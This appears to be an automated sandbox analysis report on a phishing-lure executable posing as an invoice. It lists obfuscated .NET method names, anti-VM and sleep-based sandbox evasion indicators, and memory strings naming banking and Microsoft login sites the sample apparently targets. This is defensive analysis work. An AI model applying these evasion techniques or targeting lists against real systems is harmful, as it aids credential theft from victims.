Source: 0.2.Invoice_&_SOA_ready_for_dispatch.exe.7560000.5.raw.unpack, aOMcGCJjyGfal9CoD2.cs	High entropy of concatenated method names: 'iCUaVfcOxe', 'KUtaybPXFa', 'SNMLGyP8Zw', 'DNBLC2U4E6', 'NNnLY7GqKY', 'ttSLEliY9Y', 'qLfL1iiLUe', 'gPpLbZdS26', 'rdwLQWrCBs', 'LCYLF1e4bs'
Source: 0.2.Invoice_&_SOA_ready_for_dispatch.exe.7560000.5.raw.unpack, RFebm5uyGmJYMUbdFA.cs	High entropy of concatenated method names: 'UG9LxeiU1t', 'XeOLT3nAsA', 'SqvLJb2Jlv', 'jBWLRUNZwd', 'g76L2DHYYY', 'LnKL8hbaco', 'vySLvX67EA', 'PUDLStN0oX', 'yHOLtfy8uH', 'EoGLIXjoEC'
Source: 0.2.Invoice_&_SOA_ready_for_dispatch.exe.7560000.5.raw.unpack, moU0AkpAA5e5deHjGQ.cs	High entropy of concatenated method names: 'EPwelUQ884', 'cFNesYs68v', 'KaoeWPZuJP', 'N0KeLYXxo1', 'UOwea72VT0', 'tZ7ewqQkyQ', 'MWie9a3EFM', 'tjoedRcg49', 's5JeBI9oPS', 'ikyeqg79at'
Source: 0.2.Invoice_&_SOA_ready_for_dispatch.exe.7560000.5.raw.unpack, wXBrPU2mKX2DW6Sp7G.cs	High entropy of concatenated method names: 'jA6WMF2PhT', 'gjWWkLwcOc', 'VZ3WAIa5Yu', 'nlGWpNvBFu', 'HKPWnh41p0', 'w4JWZmZ6Qe', 'fxuWPI9OlX', 'qejWHlbSq5', 'kpYWOrI9Xq', 'md9WgNafeT'
Source: 0.2.Invoice_&_SOA_ready_for_dispatch.exe.7560000.5.raw.unpack, VAe6BLDV3qOgFyVjiC.cs	High entropy of concatenated method names: 'wh52Fr2Kpv', 'PyF2DHNFOf', 'HtS2MYNhyD', 'VVc2kgYpOB', 'qCd25KCW0E', 'xf72GqwFMV', 'sgo2C6gQsa', 'G6Y2YTkWHd', 'npY2EDTgeN', 'NGE21un9CM'
Source: 0.2.Invoice_&_SOA_ready_for_dispatch.exe.7560000.5.raw.unpack, pwk0XiziCPB2HQD6SY.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'E5ItuwumBb', 'eZTt2dfUIh', 'rdwt8TGKI4', 'YsYtvmcWNv', 'h9MtSRhCQ9', 'hh6ttFNuSj', 'uuRtIqqPR5'
Source: 0.2.Invoice_&_SOA_ready_for_dispatch.exe.7560000.5.raw.unpack, mphZeO71kLwSC61AIp.cs	High entropy of concatenated method names: 'BIFt4C3NJl', 'KFQteGELqR', 'Y88t06BrZL', 'DvKtsRQjFt', 'OH9tWjF4cC', 'naUtaOSbBU', 'N5ntwd2yfJ', 'dd0SPO5AMe', 'GqOSHG9gdJ', 'E57SOPTmXY'
Source: 0.2.Invoice_&_SOA_ready_for_dispatch.exe.7560000.5.raw.unpack, wuWA6eL3mDAw53PRlj.cs	High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'nDBKOIW0du', 'fpiKgjjmO3', 'HIAKzTxLu2', 'OUDeXdMOf7', 'UWhe4OgO0r', 'eQ6eKxuM6Z', 'Ndneeljn2S', 'OpPg46zMp7N97AtbiF'
Source: 0.2.Invoice_&_SOA_ready_for_dispatch.exe.7560000.5.raw.unpack, qf4GXpZFHWDeRXEG4U.cs	High entropy of concatenated method names: 'MHywlWPJXf', 'TVawWxRqi5', 'vxbwavEJWE', 't9Iw9xL4Ch', 'LF3wdwtk6c', 'd98anSFTQU', 'hxDaZBk04u', 'Y9HaPtoHA6', 'AnjaHm58Gh', 'uXZaOKTkLa'
Source: 0.2.Invoice_&_SOA_ready_for_dispatch.exe.7560000.5.raw.unpack, LwJl6CvUyeg8svQ1xg.cs	High entropy of concatenated method names: 'ToString', 'on18hLbRQM', 'P11852XEaS', 'm278G5GCSn', 'mUl8C7OhKN', 'c998YwQckJ', 'i9J8EFi91L', 'BaC81C2WNj', 'VOb8bWfPm8', 'YXh8QLKtbH'
Source: 0.2.Invoice_&_SOA_ready_for_dispatch.exe.7560000.5.raw.unpack, wuiZa4ArYNDqxPaeeT.cs	High entropy of concatenated method names: 'pogS7uU8Is', 'YfYS5cgaNu', 'j6oSG20Yp5', 'DBGSCMZU2k', 'z9pSMgt05Y', 'vjjSYsttls', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.Invoice_&_SOA_ready_for_dispatch.exe.7560000.5.raw.unpack, fEHLeR3dPPRvbC3VFV4.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'CYpIM9gywr', 'jIdIkOFylC', 'W0BIAEa2Pa', 'XEiIph19JH', 'lcpInwabxP', 'BTZIZBOKJ1', 'AdGIP7HXt4'
Source: 0.2.Invoice_&_SOA_ready_for_dispatch.exe.7560000.5.raw.unpack, WZ1B83N7tm7Z8cDgrB.cs	High entropy of concatenated method names: 'SocSs3A5hL', 'Sh5SWjDkVY', 'FUVSLIvpOM', 'FrQSaiObsX', 'F7VSwUrDaW', 'vcXS9ikPHE', 'AWJSdWlRPD', 'RAcSBlEB8U', 'UaRSqae5CN', 'huqSf7xsFQ'
Source: 0.2.Invoice_&_SOA_ready_for_dispatch.exe.7560000.5.raw.unpack, U78ry4qNS50VEaZ2mE.cs	High entropy of concatenated method names: 'Clf49tC78P', 'o9p4dWG7vP', 'hnk4qKkp29', 'r5j4fXZw7L', 'qM142tNt6o', 'Ltx48bTAK6', 'yQR9tSxVRZ9YMZNLJA', 'wvnnUFCH7eA4g6uRP0', 'MZC44o2pXP', 'ULD4esfweN'
Source: 0.2.Invoice_&_SOA_ready_for_dispatch.exe.43ae830.2.raw.unpack, OCeGR9WhUIbmo58hGM.cs	High entropy of concatenated method names: 'Dispose', 'S2b4OCjSNc', 'z6aK5hHNRL', 'ji6mm6OVSD', 'DHq4gmhxKc', 'Id04zJUbLY', 'ProcessDialogKey', 'LZcKXcnAp6', 'PiGK4Z2w8H', 'BWMKKHuINe'
Source: 0.2.Invoice_&_SOA_ready_for_dispatch.exe.43ae830.2.raw.unpack, FhqF3be3IiJ78OZX0B.cs	High entropy of concatenated method names: 'iJD9s1ruR2', 'RZC9Lnny3K', 'XIn9wNksZP', 'pgZwgjk7f9', 'ixywze9IUG', 'q4x9Xso9P0', 'd1V94J1Cvh', 'QQ49KvIbHY', 'F699eYUr3W', 'SEF901dK1p'
Source: 0.2.Invoice_&_SOA_ready_for_dispatch.exe.43ae830.2.raw.unpack, hqa0uvwF8y24dfnEmR.cs	High entropy of concatenated method names: 'xdi9jIR5Cj', 'TVW96JE1bE', 'mDg93v7iZV', 'piZ9xQGFV4', 'p0F9VlrsOU', 'rvr9TPPOuw', 'K6D9yUaS6B', 'YbE9JbEYcs', 'ou59R3mIPE', 'fLD9i5oWTG'
Source: 0.2.Invoice_&_SOA_ready_for_dispatch.exe.43ae830.2.raw.unpack, CWH5un3Y7hXN01WGKc4.cs	High entropy of concatenated method names: 'Ng7tj8HcP9', 'ddQt6kFZxA', 'PTIt3Ashuo', 'vLStx16EMM', 'ut7tVGA6Tm', 'Q6XtTbx57d', 'fU8tyjDw7B', 'O1OtJrcYm2', 'mgNtRGSttm', 'hKptiZ4Rip'
Source: 0.2.Invoice_&_SOA_ready_for_dispatch.exe.43ae830.2.raw.unpack, k7qEmYaQgpXjRvxX0y.cs	High entropy of concatenated method names: 'SjkvHLySEw', 'bQHvg3LIxt', 'KIPSX8Gxm8', 'tkKS4TcLdk', 'a2VvhVIwEt', 'aBgvDnrSRK', 'rUdvURaZIO', 'RkmvMB83U2', 'DnLvkEt5ye', 'LAivAcADEf'
Source: 0.2.Invoice_&_SOA_ready_for_dispatch.exe.43ae830.2.raw.unpack, kn3HsVKGcYhQIYc6U1.cs	High entropy of concatenated method names: 'Hag3CTPFA', 'jFcxeDImu', 'BAeTyTbNs', 'cyGy5olns', 'tAmRn63Dl', 'kXSiGOjk5', 'AAdq2s7cY5xMiw0S3I', 'UHK7AioHjQ2GhK5bYD', 'BDYSiQPxW', 'wyrIH3V5Y'
Source: 0.2.Invoice_&_SOA_ready_for_dispatch.exe.43ae830.2.raw.unpack, GiG0pYCKrDVP3rTfDp.cs	High entropy of concatenated method names: 'QU1uJIMdBL', 'jJjuR91ERu', 'Mqku7qyntM', 'eWZu5Q3MLF', 't3ZuC4anai', 'ptsuYEV1L7', 'FYlu118j8i', 'TOPublhwIa', 'SrcuFUgGL7', 'guDuhpAml1'
Source: 0.2.Invoice_&_SOA_ready_for_dispatch.exe.43ae830.2.raw.unpack, aOMcGCJjyGfal9CoD2.cs	High entropy of concatenated method names: 'iCUaVfcOxe', 'KUtaybPXFa', 'SNMLGyP8Zw', 'DNBLC2U4E6', 'NNnLY7GqKY', 'ttSLEliY9Y', 'qLfL1iiLUe', 'gPpLbZdS26', 'rdwLQWrCBs', 'LCYLF1e4bs'
Source: 0.2.Invoice_&_SOA_ready_for_dispatch.exe.43ae830.2.raw.unpack, RFebm5uyGmJYMUbdFA.cs	High entropy of concatenated method names: 'UG9LxeiU1t', 'XeOLT3nAsA', 'SqvLJb2Jlv', 'jBWLRUNZwd', 'g76L2DHYYY', 'LnKL8hbaco', 'vySLvX67EA', 'PUDLStN0oX', 'yHOLtfy8uH', 'EoGLIXjoEC'
Source: 0.2.Invoice_&_SOA_ready_for_dispatch.exe.43ae830.2.raw.unpack, moU0AkpAA5e5deHjGQ.cs	High entropy of concatenated method names: 'EPwelUQ884', 'cFNesYs68v', 'KaoeWPZuJP', 'N0KeLYXxo1', 'UOwea72VT0', 'tZ7ewqQkyQ', 'MWie9a3EFM', 'tjoedRcg49', 's5JeBI9oPS', 'ikyeqg79at'
Source: 0.2.Invoice_&_SOA_ready_for_dispatch.exe.43ae830.2.raw.unpack, wXBrPU2mKX2DW6Sp7G.cs	High entropy of concatenated method names: 'jA6WMF2PhT', 'gjWWkLwcOc', 'VZ3WAIa5Yu', 'nlGWpNvBFu', 'HKPWnh41p0', 'w4JWZmZ6Qe', 'fxuWPI9OlX', 'qejWHlbSq5', 'kpYWOrI9Xq', 'md9WgNafeT'
Source: 0.2.Invoice_&_SOA_ready_for_dispatch.exe.43ae830.2.raw.unpack, VAe6BLDV3qOgFyVjiC.cs	High entropy of concatenated method names: 'wh52Fr2Kpv', 'PyF2DHNFOf', 'HtS2MYNhyD', 'VVc2kgYpOB', 'qCd25KCW0E', 'xf72GqwFMV', 'sgo2C6gQsa', 'G6Y2YTkWHd', 'npY2EDTgeN', 'NGE21un9CM'
Source: 0.2.Invoice_&_SOA_ready_for_dispatch.exe.43ae830.2.raw.unpack, pwk0XiziCPB2HQD6SY.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'E5ItuwumBb', 'eZTt2dfUIh', 'rdwt8TGKI4', 'YsYtvmcWNv', 'h9MtSRhCQ9', 'hh6ttFNuSj', 'uuRtIqqPR5'
Source: 0.2.Invoice_&_SOA_ready_for_dispatch.exe.43ae830.2.raw.unpack, mphZeO71kLwSC61AIp.cs	High entropy of concatenated method names: 'BIFt4C3NJl', 'KFQteGELqR', 'Y88t06BrZL', 'DvKtsRQjFt', 'OH9tWjF4cC', 'naUtaOSbBU', 'N5ntwd2yfJ', 'dd0SPO5AMe', 'GqOSHG9gdJ', 'E57SOPTmXY'
Source: 0.2.Invoice_&_SOA_ready_for_dispatch.exe.43ae830.2.raw.unpack, wuWA6eL3mDAw53PRlj.cs	High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'nDBKOIW0du', 'fpiKgjjmO3', 'HIAKzTxLu2', 'OUDeXdMOf7', 'UWhe4OgO0r', 'eQ6eKxuM6Z', 'Ndneeljn2S', 'OpPg46zMp7N97AtbiF'
Source: 0.2.Invoice_&_SOA_ready_for_dispatch.exe.43ae830.2.raw.unpack, qf4GXpZFHWDeRXEG4U.cs	High entropy of concatenated method names: 'MHywlWPJXf', 'TVawWxRqi5', 'vxbwavEJWE', 't9Iw9xL4Ch', 'LF3wdwtk6c', 'd98anSFTQU', 'hxDaZBk04u', 'Y9HaPtoHA6', 'AnjaHm58Gh', 'uXZaOKTkLa'
Source: 0.2.Invoice_&_SOA_ready_for_dispatch.exe.43ae830.2.raw.unpack, LwJl6CvUyeg8svQ1xg.cs	High entropy of concatenated method names: 'ToString', 'on18hLbRQM', 'P11852XEaS', 'm278G5GCSn', 'mUl8C7OhKN', 'c998YwQckJ', 'i9J8EFi91L', 'BaC81C2WNj', 'VOb8bWfPm8', 'YXh8QLKtbH'
Source: 0.2.Invoice_&_SOA_ready_for_dispatch.exe.43ae830.2.raw.unpack, wuiZa4ArYNDqxPaeeT.cs	High entropy of concatenated method names: 'pogS7uU8Is', 'YfYS5cgaNu', 'j6oSG20Yp5', 'DBGSCMZU2k', 'z9pSMgt05Y', 'vjjSYsttls', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.Invoice_&_SOA_ready_for_dispatch.exe.43ae830.2.raw.unpack, fEHLeR3dPPRvbC3VFV4.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'CYpIM9gywr', 'jIdIkOFylC', 'W0BIAEa2Pa', 'XEiIph19JH', 'lcpInwabxP', 'BTZIZBOKJ1', 'AdGIP7HXt4'
Source: 0.2.Invoice_&_SOA_ready_for_dispatch.exe.43ae830.2.raw.unpack, WZ1B83N7tm7Z8cDgrB.cs	High entropy of concatenated method names: 'SocSs3A5hL', 'Sh5SWjDkVY', 'FUVSLIvpOM', 'FrQSaiObsX', 'F7VSwUrDaW', 'vcXS9ikPHE', 'AWJSdWlRPD', 'RAcSBlEB8U', 'UaRSqae5CN', 'huqSf7xsFQ'
Source: 0.2.Invoice_&_SOA_ready_for_dispatch.exe.43ae830.2.raw.unpack, U78ry4qNS50VEaZ2mE.cs	High entropy of concatenated method names: 'Clf49tC78P', 'o9p4dWG7vP', 'hnk4qKkp29', 'r5j4fXZw7L', 'qM142tNt6o', 'Ltx48bTAK6', 'yQR9tSxVRZ9YMZNLJA', 'wvnnUFCH7eA4g6uRP0', 'MZC44o2pXP', 'ULD4esfweN'

Source: C:\Users\user\Desktop\Invoice_&_SOA_ready_for_dispatch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Invoice_&_SOA_ready_for_dispatch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Invoice_&_SOA_ready_for_dispatch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Invoice_&_SOA_ready_for_dispatch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Invoice_&_SOA_ready_for_dispatch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Invoice_&_SOA_ready_for_dispatch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Invoice_&_SOA_ready_for_dispatch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Invoice_&_SOA_ready_for_dispatch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Invoice_&_SOA_ready_for_dispatch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Invoice_&_SOA_ready_for_dispatch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Invoice_&_SOA_ready_for_dispatch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Invoice_&_SOA_ready_for_dispatch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Invoice_&_SOA_ready_for_dispatch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Invoice_&_SOA_ready_for_dispatch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Invoice_&_SOA_ready_for_dispatch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Invoice_&_SOA_ready_for_dispatch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Invoice_&_SOA_ready_for_dispatch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Invoice_&_SOA_ready_for_dispatch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Invoice_&_SOA_ready_for_dispatch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Invoice_&_SOA_ready_for_dispatch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Invoice_&_SOA_ready_for_dispatch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Invoice_&_SOA_ready_for_dispatch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Invoice_&_SOA_ready_for_dispatch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Invoice_&_SOA_ready_for_dispatch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Invoice_&_SOA_ready_for_dispatch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Invoice_&_SOA_ready_for_dispatch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Invoice_&_SOA_ready_for_dispatch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Invoice_&_SOA_ready_for_dispatch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Invoice_&_SOA_ready_for_dispatch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Invoice_&_SOA_ready_for_dispatch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Invoice_&_SOA_ready_for_dispatch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Invoice_&_SOA_ready_for_dispatch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Invoice_&_SOA_ready_for_dispatch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Invoice_&_SOA_ready_for_dispatch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Invoice_&_SOA_ready_for_dispatch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Invoice_&_SOA_ready_for_dispatch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Invoice_&_SOA_ready_for_dispatch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Invoice_&_SOA_ready_for_dispatch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Invoice_&_SOA_ready_for_dispatch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Invoice_&_SOA_ready_for_dispatch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Invoice_&_SOA_ready_for_dispatch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Invoice_&_SOA_ready_for_dispatch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\fontview.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\fontview.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\fontview.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\fontview.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\fontview.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: Invoice_&_SOA_ready_for_dispatch.exe PID: 7784, type: MEMORYSTR

Source: C:\Users\user\Desktop\Invoice_&_SOA_ready_for_dispatch.exe TID: 7844	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\fontview.exe TID: 7708	Thread sleep count: 1491 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\fontview.exe TID: 7708	Thread sleep time: -2982000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\fontview.exe TID: 7708	Thread sleep count: 8482 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\fontview.exe TID: 7708	Thread sleep time: -16964000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\dNAGqKTZGUAwaxVqazHCxkYGeHKBIiEYPiPMKrHtQXpznvGBaeqnolUoXkFHVbdDlBIbtsRYWxSQYDD\xIXlFDyvSnsfUSfsjsGwj.exe TID: 7928	Thread sleep time: -85000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\dNAGqKTZGUAwaxVqazHCxkYGeHKBIiEYPiPMKrHtQXpznvGBaeqnolUoXkFHVbdDlBIbtsRYWxSQYDD\xIXlFDyvSnsfUSfsjsGwj.exe TID: 7928	Thread sleep count: 40 > 30	Jump to behavior
Source: C:\Program Files (x86)\dNAGqKTZGUAwaxVqazHCxkYGeHKBIiEYPiPMKrHtQXpznvGBaeqnolUoXkFHVbdDlBIbtsRYWxSQYDD\xIXlFDyvSnsfUSfsjsGwj.exe TID: 7928	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\dNAGqKTZGUAwaxVqazHCxkYGeHKBIiEYPiPMKrHtQXpznvGBaeqnolUoXkFHVbdDlBIbtsRYWxSQYDD\xIXlFDyvSnsfUSfsjsGwj.exe TID: 7928	Thread sleep count: 42 > 30	Jump to behavior
Source: C:\Program Files (x86)\dNAGqKTZGUAwaxVqazHCxkYGeHKBIiEYPiPMKrHtQXpznvGBaeqnolUoXkFHVbdDlBIbtsRYWxSQYDD\xIXlFDyvSnsfUSfsjsGwj.exe TID: 7928	Thread sleep time: -42000s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\fontview.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\fontview.exe	Last function: Thread delayed

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Code function: 4_2_014A096E rdtsc

4_2_014A096E

Source: C:\Users\user\Desktop\Invoice_&_SOA_ready_for_dispatch.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\SysWOW64\fontview.exe	Window / User API: threadDelayed 1491			Jump to behavior
Source: C:\Windows\SysWOW64\fontview.exe	Window / User API: threadDelayed 8482			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	API coverage: 1.3 %
Source: C:\Windows\SysWOW64\fontview.exe	API coverage: 2.7 %

Source: C:\Users\user\Desktop\Invoice_&_SOA_ready_for_dispatch.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\SysWOW64\fontview.exe

Code function: 12_2_02A4C300 FindFirstFileW,FindNextFileW,FindClose,

12_2_02A4C300

Source: C:\Users\user\Desktop\Invoice_&_SOA_ready_for_dispatch.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: 2N-F32-85.12.dr	Binary or memory string: Interactive userers - NDCDYNVMware20,11696501413z
Source: 2N-F32-85.12.dr	Binary or memory string: tasks.office.comVMware20,11696501413o
Source: 2N-F32-85.12.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696501413h
Source: 2N-F32-85.12.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696501413
Source: 2N-F32-85.12.dr	Binary or memory string: www.interactiveuserers.co.inVMware20,11696501413~
Source: 2N-F32-85.12.dr	Binary or memory string: dev.azure.comVMware20,11696501413j
Source: 2N-F32-85.12.dr	Binary or memory string: Interactive userers - COM.HKVMware20,11696501413
Source: 2N-F32-85.12.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696501413
Source: 2N-F32-85.12.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696501413\|UE
Source: 2N-F32-85.12.dr	Binary or memory string: bankofamerica.comVMware20,11696501413x
Source: 2N-F32-85.12.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696501413}
Source: 2N-F32-85.12.dr	Binary or memory string: Interactive userers - non-EU EuropeVMware20,11696501413
Source: 2N-F32-85.12.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696501413x
Source: 2N-F32-85.12.dr	Binary or memory string: turbotax.intuit.comVMware20,11696501413t
Source: 2N-F32-85.12.dr	Binary or memory string: Interactive userers - HKVMware20,11696501413]
Source: 2N-F32-85.12.dr	Binary or memory string: outlook.office.comVMware20,11696501413s
Source: 2N-F32-85.12.dr	Binary or memory string: Interactive userers - EU East & CentralVMware20,11696501413
Source: xIXlFDyvSnsfUSfsjsGwj.exe, 0000000E.00000002.3734880831.000000000114F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll:
Source: 2N-F32-85.12.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696501413u
Source: 2N-F32-85.12.dr	Binary or memory string: Interactive userers - GDCDYNVMware20,11696501413p
Source: 2N-F32-85.12.dr	Binary or memory string: Interactive userers - EU WestVMware20,11696501413n
Source: 2N-F32-85.12.dr	Binary or memory string: ms.portal.azure.comVMware20,11696501413
Source: 2N-F32-85.12.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696501413
Source: 2N-F32-85.12.dr	Binary or memory string: www.interactiveuserers.comVMware20,11696501413}
Source: 2N-F32-85.12.dr	Binary or memory string: interactiveuserers.co.inVMware20,11696501413d
Source: 2N-F32-85.12.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696501413x
Source: 2N-F32-85.12.dr	Binary or memory string: global block list test formVMware20,11696501413
Source: 2N-F32-85.12.dr	Binary or memory string: outlook.office365.comVMware20,11696501413t
Source: 2N-F32-85.12.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696501413^
Source: 2N-F32-85.12.dr	Binary or memory string: interactiveuserers.comVMware20,11696501413
Source: 2N-F32-85.12.dr	Binary or memory string: discord.comVMware20,11696501413f
Source: 2N-F32-85.12.dr	Binary or memory string: AMC password management pageVMware20,11696501413

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Code function: 4_2_014A096E rdtsc

4_2_014A096E

Source: C:\Users\user\Desktop\Invoice_&_SOA_ready_for_dispatch.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014F4144 mov eax, dword ptr fs:[00000030h]	4_2_014F4144
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014F4144 mov eax, dword ptr fs:[00000030h]	4_2_014F4144
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014F4144 mov ecx, dword ptr fs:[00000030h]	4_2_014F4144
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014F4144 mov eax, dword ptr fs:[00000030h]	4_2_014F4144
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014F4144 mov eax, dword ptr fs:[00000030h]	4_2_014F4144
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01466154 mov eax, dword ptr fs:[00000030h]	4_2_01466154
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01466154 mov eax, dword ptr fs:[00000030h]	4_2_01466154
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0145C156 mov eax, dword ptr fs:[00000030h]	4_2_0145C156
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014F8158 mov eax, dword ptr fs:[00000030h]	4_2_014F8158
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01534164 mov eax, dword ptr fs:[00000030h]	4_2_01534164
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01534164 mov eax, dword ptr fs:[00000030h]	4_2_01534164
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01520115 mov eax, dword ptr fs:[00000030h]	4_2_01520115
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0150A118 mov ecx, dword ptr fs:[00000030h]	4_2_0150A118
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0150A118 mov eax, dword ptr fs:[00000030h]	4_2_0150A118
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0150A118 mov eax, dword ptr fs:[00000030h]	4_2_0150A118
